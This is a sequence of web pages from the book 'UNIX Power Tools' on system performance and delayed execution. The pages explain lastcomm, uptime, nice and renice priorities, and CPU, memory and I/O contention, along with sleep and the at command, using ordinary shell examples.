If you spend most of your time running standard utilities and commercial applications, you can't do much about user-state or system-state time. To make a significant dent in these, you have to rewrite the program. But you can do a lot to improve your memory and I/O performance, and you can do a lot to run your big applications more efficiently.

Keyboard response is an extremely important issue to users, although it really doesn't contribute to a program's execution time. If there is a noticeable gap between the time when a user types a character and the time when the system echoes that character, the user will think performance is bad, regardless of how much time it takes to run a job. In order to prevent terminal buffers from overflowing and losing characters, most UNIX systems give terminal drivers (42.1) very high priority. As a side effect, the high priority of terminals means that keyboard response should be bad only under exceptionally high loads. If you are accessing a remote system across a network, however, network delays can cause poor keyboard response. Network performance is an extremely complex issue.

- ML from O'Reilly & Associates' System Performance Tuning, Chapter 1

Previous: 39.4 Average Command Runtimes with runtime | UNIX Power Tools | Next: 39.6 lastcomm: What Commands Are Running and How Long Do They Take?
39.4 Average Command Runtimes with runtime | Book Index | 39.6 lastcomm: What Commands Are Running and How Long Do They Take?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 39] 39.6 lastcomm: What Commands Are Running and How Long Do They Take?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 39.5 Why Is the System So Slow? Chapter 39
Time and Performance 		Next: 39.7 Checking System Load: uptime

39.6 lastcomm: What Commands Are Running and How Long Do They Take?

When you're debugging a problem with a program, trying to figure out why your CPU usage bill is so high, or curious what commands someone (including yourself) is running, the lastcomm command on Berkeley-like UNIXes can help (if your computer has its process accounting system running, that is). Here's an example that lists the user lesleys:

% date
Mon Sep  4 16:38:13 EDT 1995
% lastcomm lesleys
emacs          lesleys  ttyp1      1.41 secs Wed Sep  4 16:28
cat          X lesleys  ttyp1      0.06 secs Wed Sep  4 16:37
stty           lesleys  ttypa      0.02 secs Wed Sep  4 16:36
tset           lesleys  ttypa      0.12 secs Wed Sep  4 16:36
sed            lesleys  ttypa      0.02 secs Wed Sep  4 16:36
hostname       lesleys  ttypa      0.00 secs Wed Sep  4 16:36
quota          lesleys  ttypa      0.16 secs Wed Sep  4 16:35
   ...

The processes are listed in the order completed, most-recent first. The emacs process on the tty ttyp1 (3.8) started ten minutes ago and took 1.41 seconds of CPU time. Sometime while emacs was on ttyp1, lesleys ran cat and killed it (the X shows that). Because emacs ran on the same terminal as cat but finished later, Lesley might have stopped emacs (with CTRL-z) (12.1) to run cat. The processes on ttypa are the ones run from her .cshrc and .login files (though you can't tell that from lastcomm). You don't see the login shell for ttypa (csh) here because it hasn't terminated yet; it'll be listed after Lesley logs out of ttypa.

lastcomm can do more. See its manual page.

Here's a hint: on a busy system with lots of users and commands being logged, lastcomm is pretty slow. If you pipe the output or redirect it into a file, like this:

tee
% lastcomm lesleys > lesley.cmds &
% cat lesley.cmds
   ...nothing...
% lastcomm lesleys | tee lesley.cmds
   ...nothing...

then the lastcomm output may be written to the file or pipe in big chunks instead of line-by-line. That can make it look as if nothing's happening. If you can tie up a terminal while lastcomm runs, there are two workarounds. If you're using a window system or terminal emulator with a "log to file" command, use it while lastcomm runs. Otherwise, to copy the output to a file, start script (51.5) and then run lastcomm:

% script lesley.cmds
Script started, file is lesley.cmds
% lastcomm lesleys
emacs          lesleys  ttyp1      1.41 secs Wed Sep  4 16:28
cat          X lesleys  ttyp1      0.06 secs Wed Sep  4 16:37
   ...

% exit
Script done, file is lesley.cmds
%

A final word: lastcomm can't give information on commands that are built into the shell (1.10). Those commands are counted as part of the shell's execution time; they'll be in an entry for csh, sh, etc. after the shell terminates.

- JP

Previous: 39.5 Why Is the System So Slow? | UNIX Power Tools | Next: 39.7 Checking System Load: uptime
39.5 Why Is the System So Slow? | Book Index | 39.7 Checking System Load: uptime
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 39] 39.7 Checking System Load: uptime

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 39.6 lastcomm: What Commands Are Running and How Long Do They Take? Chapter 39
Time and Performance 		Next: 39.8 A Big Environment Can Slow You Down

39.7 Checking System Load: uptime

The BSD command uptime, also available under System V Release 4, AIX, and some System V Release 3 implementations, will give you a rough estimate of the system load:

% uptime
3:24pm up 2 days, 2:41, 16 users, load average: 1.90, 1.43, 1.33

uptime reports the current time, the amount of time the system has been up, and three load average figures. The load average is a rough measure of CPU use. These three figures report the average number of processes active during the last minute, the last five minutes, and the last 15 minutes. High load averages usually mean that the system is being used heavily and the response time is correspondingly slow. Note that the system's load average does not take into account the priorities and niceness (39.9) of the processes that are running.

What's high? As usual, that depends on your system. Ideally, you'd like a load average under, say, 3, but that's not always possible given what some systems are required to do. Higher load averages are usually more tolerable on machines with more than one processor. Ultimately, "high" means high enough so that you don't need uptime to tell you that the system is overloaded - you can tell from its response time.

Furthermore, different systems will behave differently under the same load average. For example, on some workstations, running a single CPU-bound background job at the same time as the X Window System (1.31) will bring response to a crawl even though the load average remains quite "low." In the end, load averages are significant only when they differ from whatever is "normal" on your system.

- AF from O'Reilly & Associates' Essential System Administration

Previous: 39.6 lastcomm: What Commands Are Running and How Long Do They Take? | UNIX Power Tools | Next: 39.8 A Big Environment Can Slow You Down
39.6 lastcomm: What Commands Are Running and How Long Do They Take? | Book Index | 39.8 A Big Environment Can Slow You Down
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 39] 39.8 A Big Environment Can Slow You Down

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 39.7 Checking System Load: uptime Chapter 39
Time and Performance 		Next: 39.9 Know When to Be "nice" to OTher Users...and When Not to

39.8 A Big Environment Can Slow You Down

Part of starting a new child process (starting a program, for instance) is making a copy of the environment from the parent process. Some computers, especially busy ones, aren't very fast at making new processes. (In the early 1980s, I worked on a VAX 11/750 running 4.1 BSD; the load average got above 40. Sometimes, after a command finished, it could take 10 or 20 seconds just to get the next shell prompt. Sheesh!)

Filling up your environment with lots of variables (the csh command setenv or the sh command export) can be handy. But it can slow you down - especially in shell scripts that run loops, starting lots of subprocesses.

I did a test on our 386-based computer running Interactive UNIX System V/386 Release 3.2 late one night when I was the only user logged on. First, I cleaned out my environment to around 300 characters. Then I did:

env wc

time
repeat

% env | wc -c
    335
% set time
% repeat 50 /bin/true
0.0u 0.1s 0:00 15%
0.1u 0.1s 0:00 18%
0.0u 0.2s 0:00 20%
   ...

That started the short /bin/true shell script 50 times. I added up the system times (from the second column) and got 6.9 CPU seconds. Then I used a C shell while loop to quickly add a bunch of huge environment variables named FOO1, FOO2, and so on, like this:

set

@

% set n = 0
% while ($n < 30)
1
? setenv FOO$n xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...
? end
   ...
% env | wc -c
    4934

and ran repeat 50 /bin/true again. With a 5000-character environment, it took 8.9 system CPU seconds - that's about 30% longer.

A thorough test? Nope. But if you have a big environment on a slow computer, you might run a test like this to see whether cleaning it out - replacing environment variables with shell variables, for instance - can make your subprocesses start faster.

Article 38.7 explains the problem a big environment can cause for ps. Article 2.9 shows how to start C shells more quickly.

- JP

Previous: 39.7 Checking System Load: uptime | UNIX Power Tools | Next: 39.9 Know When to Be "nice" to OTher Users...and When Not to
39.7 Checking System Load: uptime | Book Index | 39.9 Know When to Be "nice" to OTher Users...and When Not to
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 39] 39.9 Know When to Be "nice" to OTher Users...and When Not to

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 39.8 A Big Environment Can Slow You Down Chapter 39
Time and Performance 		Next: 39.10 A nice Gotcha

39.9 Know When to Be "nice" to OTher Users...and When Not to

nice
The nice command modifies the scheduling priority of time-sharing processes (for BSD and pre-V.4 releases of System V, all processes). The GNU version is on the CD-ROM (the disc's install system will only install nice if your system has the appropriate facilities).

If you're not familiar with UNIX, you will find its definition of priority confusing - it's the opposite of what you would expect. A process with a high nice number runs at low priority, getting relatively little of the processor's attention; similarly, jobs with a low nice number run at high priority. This is why the nice number is usually called niceness: a job with a lot of niceness is very kind to the other users of your system (i.e., it runs at low priority), while a job with little niceness will hog the CPU. The term "niceness" is awkward, like the priority system itself. Unfortunately, it's the only term that is both accurate (nice numbers are used to compute priorities but are not the priorities themselves) and avoids horrible circumlocutions ("increasing the priority means lowering the priority...").

Many supposedly experienced users claim that nice has virtually no effect. Don't listen to them. As a general rule, reducing the priority of an I/O-bound job (a job that's waiting for I/O a lot of the time) won't change things very much. The system rewards jobs that spend most of their time waiting for I/O by increasing their priority. But reducing the priority of a CPU-bound process can have a significant effect. Compilations, batch typesetting programs (troff, TeX, etc.), applications that do a lot of math, and similar programs are good candidates for nice. On a moderately loaded system, I have found that nice typically makes a CPU-intensive job roughly 30 percent slower and consequently frees that much time for higher priority jobs. You can often significantly improve keyboard response by running CPU-intensive jobs at low priority.

Note that System V Release 4 has a much more complex priority system, including real-time priorities. Priorities are managed with the priocntl command. The older nice command is available for compatibility. Other UNIX implementations (including HP and Concurrent) support real-time scheduling. These implementations have their own tools for managing the scheduler.

The nice command sets a job's niceness, which is used to compute its priority. It may be one of the most non-uniform commands in the universe. There are four versions, each slightly different from the others. BSD UNIX has one nice that is built into the C shell, and another standalone version can be used by other shells. System V also has one nice that is built into the C shell and a separate standalone version.

Under BSD UNIX, you must also know about the renice(8) command (39.11); this lets you change the niceness of a job after it is running. Under System V, you can't modify a job's niceness once it has started, so there is no equivalent.

NOTE: Think carefully before you nice an interactive job like a text editor. See article 39.10.

We'll tackle the different variations of nice in order.

39.9.1 BSD C Shell nice

Under BSD UNIX, nice numbers run from -20 to 20. The -20 designation corresponds to the highest priority; 20 corresponds to the lowest. By default, UNIX assigns the nice number 0 to user-executed jobs. The lowest nice numbers (-20 to -17) are unofficially reserved for system processes. Assigning a user's job to these nice numbers can cause problems. Users can always request a higher nice number (i.e., a lower priority) for their jobs. Only the superuser (1.24) can raise a job's priority.

To submit a job at a greater niceness, precede it with the modifier nice. For example, the command:

% nice awk -f proc.awk datafile > awk.out

runs an awk command at low priority. By default, csh version of nice will submit this job with a nice level of 4. To submit a job with an arbitrary nice number, use nice one of these ways:

% nice +n command
% nice -n command

where n is an integer between 0 and 20. The +n designation requests a positive nice number (low priority); -n request a negative nice number. Only a superuser may request a negative nice number.

39.9.2 BSD Standalone nice

The standalone version of nice differs from C shell nice in that it is a separate program, not a command built in to the C shell. You can therefore use the standalone version in any situation: within makefiles (28.13), when you are running the Bourne shell, etc. The principles are the same. nice numbers run from -20 to 20, with the default being zero. Only the syntax has been changed to confuse you. For the standalone version, -n requests a positive nice number (lower priority) and --n requests a negative nice number (higher priority-superuser only). Consider these commands:

$ nice -6 awk -f proc.awk datafile > awk.out
# nice --6 awk -f proc.awk datafile > awk.out

The first command runs awk with a high nice number (i.e., 6). The second command, which can be issued only by a superuser, runs awk with a low nice number (i.e., -6). If no level is specified, the default argument is -10.

39.9.3 System V C Shell nice

System V takes a slightly different view of nice numbers. nice levels run from 0 to 39; the default is 20. The numbers are different but their meanings are the same: 39 corresponds to the lowest possible priority, and 0 is the highest. A few System V implementations support real-time submission via nice. Jobs submitted by root with extremely low nice numbers (-20 or below) allegedly get all of the CPU's time. Systems on which this works properly are very rare and usually advertise support for real-time processing. In any case, running jobs this way will destroy multiuser performance. This feature is completely different from real-time priorities in System V Release 4.

With these exceptions, the C shell version of nice is the same as its BSD cousin. To submit a job at a low priority, use the command:

% nice command

This increases the command's niceness by the default amount (4, the same as BSD UNIX); command will run at nice level 24. To run a job at an arbitrary priority, use one of the following commands:

% nice +n command
% nice -n command

where n is an integer between 0 and 19. The +n entry requests a higher nice level (a decreased priority), while -n requests a lower nice level (a higher priority). Again, this is similar to BSD UNIX, with one important difference: n is now relative to the default nice level. That is, the command:

% nice +6 awk -f proc.awk datafile > awk.out

runs awk at nice level 26.

39.9.4 System V Standalone nice

Once again, the standalone version of nice is useful if you are writing makefiles or shell scripts or if you use the Bourne shell as your interactive shell. It is similar to the C shell version, with these differences:

  • With no arguments, standalone nice increases the nice number by 10 instead of by 4; this is a significantly greater reduction in the program's priority.

  • With the argument -n, nice increases the nice number by n (reducing priority).

  • With the argument - -n, nice decreases the nice number by n (increasing priority; superuser only).

Consider these commands:

$ nice -6 awk -f proc.awk datafile > awk.out
# nice --6 awk -f proc.awk datafile > awk.out

The first command runs awk at a higher nice level (i.e., 26, which corresponds to a lower priority). The second command, which can be given only by the superuser, runs awk at a lower nice level (i.e., 14).

- ML from O'Reilly & Associates' System Performance Tuning, Chapter 3

Previous: 39.8 A Big Environment Can Slow You Down | UNIX Power Tools | Next: 39.10 A nice Gotcha
39.8 A Big Environment Can Slow You Down | Book Index | 39.10 A nice Gotcha
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 39] 39.10 A nice Gotcha

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 39.9 Know When to Be "nice" to OTher Users...and When Not to Chapter 39
Time and Performance 		Next: 39.11 Changing a Job's Priority Under BSD UNIX

39.10 A nice Gotcha

NOTE: It's NOT a good idea to nice a foreground job (12.1). If the system gets busy, your terminal could "freeze" waiting to get enough CPU time to do something. You may not even be able to kill (38.9) a nice'd job on a very busy system because the CPU may never give the process enough CPU time to recognize the signal waiting for it! And, of course, don't nice an interactive program like a text editor unless you like to wait... :-)

- JP

Previous: 39.9 Know When to Be "nice" to OTher Users...and When Not to | UNIX Power Tools | Next: 39.11 Changing a Job's Priority Under BSD UNIX
39.9 Know When to Be "nice" to OTher Users...and When Not to | Book Index | 39.11 Changing a Job's Priority Under BSD UNIX
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 39] 39.11 Changing a Job's Priority Under BSD UNIX

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 39.10 A nice Gotcha Chapter 39
Time and Performance 		Next: 39.12 What Makes Your Computer Slow? How Do You Fix It?

39.11 Changing a Job's Priority Under BSD UNIX

Once a job is running, you can use the renice(8) command to change the job's priority:

% /etc/renice priority -p pid
% /etc/renice priority -g pgrp
% /etc/renice priority -u uname

where priority is the new nice level (39.9) for the job. It must be a signed integer between -20 and 20. pid is the ID number (38.3) (as shown by ps (38.5)) of the process you want to change. pgrp is the number of a process group (38.3), as shown by ps -l; this version of the command modifies the priority of all commands in a process group. uname may be a user's name, as shown in /etc/passwd; this form of the command modifies the priority of all jobs submitted by the user.

A nice level of 19 is the "nicest": the process will run only when nothing else on the system wants to. Negative values make a process get a greater percentage of the CPU's time than the default niceness (which is 0). Again, only the superuser can lower the nice number (raise a process' priority). Users can only raise the nice number (lower the priority) and can modify the priorities of only the jobs they started.

BSD UNIX systems automatically nice jobs after they have accumulated a certain amount of CPU time. This implicitly gives priority to jobs that don't run for a long time, sacrificing users who run long jobs in favor of users who run many short commands. The autonice time varies from system to system, but is usually 10 CPU minutes.

- ML

Previous: 39.10 A nice Gotcha | UNIX Power Tools | Next: 39.12 What Makes Your Computer Slow? How Do You Fix It?
39.10 A nice Gotcha | Book Index | 39.12 What Makes Your Computer Slow? How Do You Fix It?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 39] 39.12 What Makes Your Computer Slow? How Do You Fix It?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 39.11 Changing a Job's Priority Under BSD UNIX Chapter 39
Time and Performance 		Next: 40. Delayed Execution

39.12 What Makes Your Computer Slow? How Do You Fix It?

Article 39.5 discussed the various components that make up a user's perception of system performance. There is another equally important approach to this issue: the computer's view of performance. All system performance issues are basically resource contention issues. In any computer system, there are three fundamental resources: the CPU, memory, and the I/O subsystem (e.g., disks and networks). From this standpoint, performance tuning means ensuring that every user gets a fair share of available resources.

Each resource has its own particular set of problems. Resource problems are complicated because all resources interact with one another. Your best approach is to consider carefully what each system resource does: CPU, I/O, and memory. To get you started, here's a quick summary of each system resource and the problems it can have.

39.12.1 The CPU

On any time-sharing system, even single-user time-sharing systems (such as UNIX on a personal computer), many programs want to use the CPU at the same time. Under most circumstances the UNIX kernel is able to allocate the CPU fairly; however, each process (or program) requires a certain number of CPU cycles to execute and there are only so many cycles in a day. At some point the CPU just can't get all the work done.

There are a few ways to measure CPU contention. The simplest is the UNIX load average, reported by the BSD uptime (39.7) command. Under System V, sar -q provides the same sort of information. The load average tries to measure the number of active processes at any time (a process is a single stream of instructions). As a measure of CPU utilization, the load average is simplistic, poorly defined, but far from useless.

Before you blame the CPU for your performance problems, think a bit about what we don't mean by CPU contention. We don't mean that the system is short of memory or that it can't do I/O fast enough. Either of these situations can make your system appear very slow. But the CPU may be spending most of its time idle; therefore, you can't just look at the load average and decide that you need a faster processor. Your programs won't run a bit faster. Before you understand your system, you also need to find out what your memory and I/O subsystems are doing. Users often point their fingers at the CPU, but I would be willing to bet that in most situations memory and I/O are equally (if not more) to blame.

Given that you are short of CPU cycles, you have three basic alternatives:

  • You can get users to run jobs at night or at other low-usage times -suring the computer is doing useful work 24 hours a day) with batch or at (40.1).

  • You can prevent your system from doing unnecessary work.

  • You can get users to run their big jobs at lower priority (39.9).

If none of these options is viable, you may need to upgrade your system.

39.12.2 The Memory Subsystem

Memory contention arises when the memory requirements of the active processes exceed the physical memory available on the system; at this point, the system is out of memory. To handle this lack of memory without crashing the system or killing processes, the system starts paging: moving portions of active processes to disk in order to reclaim physical memory. At this point, performance decreases dramatically. Paging is distinguished from swapping, which means moving entire processes to disk and reclaiming their space. Paging and swapping indicate that the system can't provide enough memory for the processes that are currently running, although under some circumstances swapping can be a part of normal housekeeping. Under BSD UNIX, tools such as vmstat and pstat show whether the system is paging; ps can report the memory requirements of each process. The System V utility sar provides information about virtually all aspects of memory performance.

To prevent paging, you must either make more memory available or decrease the extent to which jobs compete. To do this, you can tune system parameters, which is beyond the scope of this book (see O'Reilly & Associates' System Performance Tuning by Mike Loukides for help). You can also terminate (38.10) the jobs with the largest memory requirements. If your system has a lot of memory, the kernel's memory requirements will be relatively small; the typical antagonists are very large application programs.

39.12.3 The I/O Subsystem

The I/O subsystem is a common source of resource contention problems. A finite amount of I/O bandwidth must be shared by all the programs (including the UNIX kernel) that currently run. The system's I/O buses can transfer only so many megabytes per second; individual devices are even more limited. Each kind of device has its own peculiarities and, therefore, its own problems. Unfortunately, UNIX has poor tools for analyzing the I/O subsystem. Under BSD UNIX, iostat can give you information about the transfer rates for each disk drive; ps and vmstat can give some information about how many processes are blocked waiting for I/O; and netstat and nfsstat report various network statistics. Under System V, sar can provide voluminous information about I/O efficiency, and sadp (V.4) can give detailed information about disk access patterns. However, there is no standard tool to measure the I/O subsystem's response to a heavy load.

The disk and network subsystems are particularly important to overall performance. Disk bandwidth issues have two general forms: maximizing per-process transfer rates and maximizing aggregate transfer rates. The per-process transfer rate is the rate at which a single program can read or write data. The aggregate transfer rate is the maximum total bandwidth that the system can provide to all programs that run.

Network I/O problems have two basic forms: a network can be overloaded or a network can lose data integrity. When a network is overloaded, the amount of data that needs to be transferred across the network is greater than the network's capacity; therefore, the actual transfer rate for any task is relatively slow. Network load problems can usually be solved by changing the network's configuration. Integrity problems occur when the network is faulty and intermittently transfers data incorrectly. In order to deliver correct data to the applications using the network, the network protocols may have to transmit each block of data many times. Consequently, programs using the network will run very slowly. The only way to solve a data integrity problem is to isolate the faulty part of the network and replace it.

39.12.4 User Communities

So far we have discussed the different factors that contribute to overall system performance. But we have ignored one of the most important factors: the users who submit the jobs.

In talking about the relationship between users and performance, it is easy to start seeing users as problems: the creatures who keep your system from running the way it ought to. Nothing is further from the truth. Computers are tools: they exist to help users do their work and not vice versa.

Limitations on memory requirements, file size, job priorities, etc., are effective only when everyone cooperates. Likewise, you can't force people to submit their jobs to a batch queue (40.6). Most people will cooperate when they understand a problem and what they can do to solve it. Most people will resist a solution that is imposed from above, that they don't understand, or that seems to get in the way of their work.

The nature of your system's users has a big effect on your system's performance. We can divide users into several classes:

  • Users who run a large number of relatively small jobs: for example, users who spend most of their time editing or running UNIX utilities.

  • Users who run a small number of relatively large jobs: for example, users who run large simulation programs with huge data files.

  • Users who run a small number of CPU-intensive jobs that don't require a lot of I/O but do require a lot of memory and CPU time. Program developers fall into this category. Compilers tend to be large programs that build large data structures and can be a source of memory contention problems.

All three groups can cause problems. Several dozen users running grep and accessing remote filesystems can be as bad for overall performance as a few users accessing gigabyte files. However, the types of problems these groups cause are not the same. For example, setting up a "striped filesystem" will help disk performance for large, I/O-bound jobs but won't help (and may hurt) users who run many small jobs. Setting up batch queues will help reduce contention among large jobs, which can often be run overnight, but it won't help the system if its problems arise from users typing at their text editors and reading their mail.

Modern systems with network facilities (1.33) complicate the picture even more. In addition to knowing what kinds of work users do, you also need to know what kind of equipment they use: a standard terminal over an RS-232 line, an X terminal over Ethernet, or a diskless workstation? The X Window System requires a lot of memory and puts a heavy load on the network. Likewise, diskless workstations place a load on the network. Similarly, do users access local files or remote files via NFS or RFS?

- ML from O'Reilly & Associates' System Performance Tuning, Chapter 1

Previous: 39.11 Changing a Job's Priority Under BSD UNIX | UNIX Power Tools | Next: 40. Delayed Execution
39.11 Changing a Job's Priority Under BSD UNIX | Book Index | 40. Delayed Execution
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 40] Delayed Execution

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 39.12 What Makes Your Computer Slow? How Do You Fix It? Chapter 40 Next: 40.2 Waiting a Little While: sleep

40. Delayed Execution

Contents:
Off-Peak Job Submission
Waiting a Little While: sleep
The at Command
Choosing the Shell Run (We Hope) by at
Avoiding Other at and cron Jobs
System V.4 Batch Queues
Making Your at Jobs Quiet
Automatically Restarting at Jobs
Checking and Removing Jobs
nextday, nextweekday: Tomorrow or Next Weekday
Send Yourself Reminder Mail
Periodic Program Execution: The cron Facility
Adding crontab Entries
Including Standard Input Within a cron Entry
crontab Script Makes crontab Editing Easier/Safer

40.1 Off-Peak Job Submission

Now that time sharing and interactive programming have become universal, many UNIX users have forgotten one of the best ways to get the most out of the system: running jobs at nights or on the weekend. Most people tend to work from 9 to 5, which is roughly one-third of the day. (Though many programmers do keep later hours!) If you can make use of the other hours (night and weekends), you can almost quadruple your system's throughput. Running jobs at night is less fun than running them interactively, but it is a lot less expensive than three new machines. If you can use off-peak hours, you will get a lot more work from your hardware.

There are a few mechanisms to take advantage of off-peak hours:

  • The at command (40.3) lets you submit jobs for execution at an arbitrary later date; it is standard on almost all UNIX systems.

  • The batch command (40.6), which is available in System V.4 and SunOS 4.1, provides a simple (and simplistic) batch queueing system. Some more fully featured batch systems are available for other UNIX systems.

  • Although it serves an entirely different purpose, you should also be aware of the crontab (40.12) facility, which provides a way to schedule jobs for periodic execution on a regular basis.

  • Finally, don't forget sleep (40.2), which can be helpful if you want to delay or space out execution just a little bit.

- ML

Previous: 39.12 What Makes Your Computer Slow? How Do You Fix It? | UNIX Power Tools | Next: 40.2 Waiting a Little While: sleep
39.12 What Makes Your Computer Slow? How Do You Fix It? | Book Index | 40.2 Waiting a Little While: sleep
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 40] 40.2 Waiting a Little While: sleep

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 40.1 Off-Peak Job Submission Chapter 40
Delayed Execution 		Next: 40.3 The at Command

40.2 Waiting a Little While: sleep

sleep
sleep
 The sleep command waits. That's all it does. (GNU versions are usually loaded with features, but the sleep on the disc doesn't do more than the standard version.) So, what good is it?

  • A quick-and-dirty reminder service when you don't have leave (48.5). This will print the message Time to go now.... in 10 minutes (600 seconds):

    ( ) & ;
    % (sleep 600; echo Time to go now....) &

  • You can't use at (40.3) and you have to run a job later (say, three hours):

    % (sleep 10800; someprog) &

  • To watch a program (usually a shell script) that's running in the background and see what processes it runs:

!!

    % prog &
[1] 12345
% sleep 5;ps
  PID TT STAT  TIME COMMAND
18305 p4 S     0:01 -csh (csh)
18435 p4 S     0:00 /bin/sh prog
18437 p4 D     0:00 /bin/sort -r temp
18438 p4 R     0:00 ps
% !!;!!;!!;!!;!!
sleep 5; ps; sleep 5; ps; sleep 5; ps; sleep 5; ps; sleep 5; ps
  PID TT STAT  TIME COMMAND
    ...
    ...5 seconds pass...
  PID TT STAT  TIME COMMAND
    ...

  • When you're running a series of commands that could swamp the computer, give it time to catch up. For instance, the mail (1.33) program starts background processes to deliver the mail. If you're sending a bunch of form letters, sleep five or ten seconds after each one:

    foreach

    % foreach name (`cat people`)
? formltrprog $name | mail $name
? sleep 10
? end

    Or, to send print jobs while you're at lunch - but give other people a chance to print between yours:

    % lp bigfile1;sleep 600;lp bigfile2;sleep 600;lp bigfile3

- JP

Previous: 40.1 Off-Peak Job Submission | UNIX Power Tools | Next: 40.3 The at Command
40.1 Off-Peak Job Submission | Book Index | 40.3 The at Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 40] 40.3 The at Command

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 40.2 Waiting a Little While: sleep Chapter 40
Delayed Execution 		Next: 40.4 Choosing the Shell Run (We Hope) by at

40.3 The at Command

The at facility submits a command line (or a script) for execution at an arbitrary later time. It has the form:

% at options time < scriptfile

This submits the scriptfile for execution at a later time. The redirection (<) isn't required on BSD and some other UNIX systems. If you don't want to write a script, you can omit it and type your commands on the terminal, terminated by CTRL-d:

% at options time
Command 1
Command 2
...
[CTRL-d]

The time is most commonly a four-digit number representing a time on a 24-hour clock. For example, 0130 represents 1:30 a.m. and 1400 represents 2 p.m. You can also use abbreviations such as 1am, 130pm, and so on.

- ML from O'Reilly & Associates' System Performance Tuning, Chapter 3

Previous: 40.2 Waiting a Little While: sleep | UNIX Power Tools | Next: 40.4 Choosing the Shell Run (We Hope) by at
40.2 Waiting a Little While: sleep | Book Index | 40.4 Choosing the Shell Run (We Hope) by at
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 40] 40.4 Choosing the Shell Run (We Hope) by at

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 40.3 The at Command Chapter 40
Delayed Execution 		Next: 40.5 Avoiding Other at and cron Jobs

40.4 Choosing the Shell Run (We Hope) by at

If you are using BSD UNIX, the -c option tells at (40.3) to execute your script via the C shell; the -s option tells at to use the Bourne shell. at defaults to the shell you log in with. If you're lucky (and many users are), this will work the first time. But I've seen a fair number of users run into sticky problems when they first use at on a new system. If you're one of those unlucky users, here's some help.

at jobs are run in an environment that's different from your normal login sessions. Be careful about using command aliases, shell functions, and variables, and other things that may not be set for you by the system. The easiest way to find out what's happening is by having your job write its environment into some temporary files, then read them after the job runs:

set
printenv
% at 1234
set > $HOME/at.set
printenv > $HOME/at.env
[CTRL-d]

(On some systems you'll need $LOGDIR instead of $HOME and env instead of printenv.)

If you use a shell like csh or bash that reads a setup file when every shell (not just a login shell (2.8)) starts, the shell will read your per-shell file (like .cshrc or .bashrc) when the job starts running. This is good news and bad news. The good news is that you can set shell parameters to be used by your at job. If you have interactive commands in your .cshrc, though, your at job might ignore them or might hang forever, waiting for an answer. For instance, the tty (3.8) command will print the error not a tty; if you try to use tty to set a shell variable, it can cause "unset variable" errors, which can abort your .cshrc file... and so on. That's the bad news.

You can use a set prompt test (2.9) in your .cshrc file, or test $- in ksh or bash, to make sure that there are no interactive commands run by at. But unless I need shell features, I usually just use at s to run the job under the Bourne shell. (Note that some systems use ksh or bash as their "Bourne" shell.)

Our SunOS 4.1.3 system has a problem: It sets the prompt variable in the C shell that runs at jobs; this makes the shell read my .cshrc file as if I were doing an interactive login! My at jobs were all failing with a complaint about an unset TERM variable. There's a workaround for this in article 2.10.

Here's a way to track down problems like that. Temporarily add the command set verbose echo to the first line of your .cshrc file, or add set -xv (46.1) to the first line of your Korn Shell ENV file or bash .bashrc file. When the at job starts your shell, you'll see verbose messages that show commands running and variables being set in the shell startup file. You'll probably also see your shell execute the commands from the at job itself. All of this information will be emailed to you (on versions of at I've seen, at least) with a subject like "Output from your at job." This is a great way to track down tricky at problems in your shell setup files. Another tip for spotting problems: sprinkle commands like these through your shell startup file:

>>
echo "got to here" | mail yourname
echo "got to here" >> $HOME/at.log

After an at job runs, that lets you find out how far it got before your shell ran into trouble.

- JP, ML

Previous: 40.3 The at Command | UNIX Power Tools | Next: 40.5 Avoiding Other at and cron Jobs
40.3 The at Command | Book Index | 40.5 Avoiding Other at and cron Jobs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 40] 40.5 Avoiding Other at and cron Jobs

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 40.4 Choosing the Shell Run (We Hope) by at Chapter 40
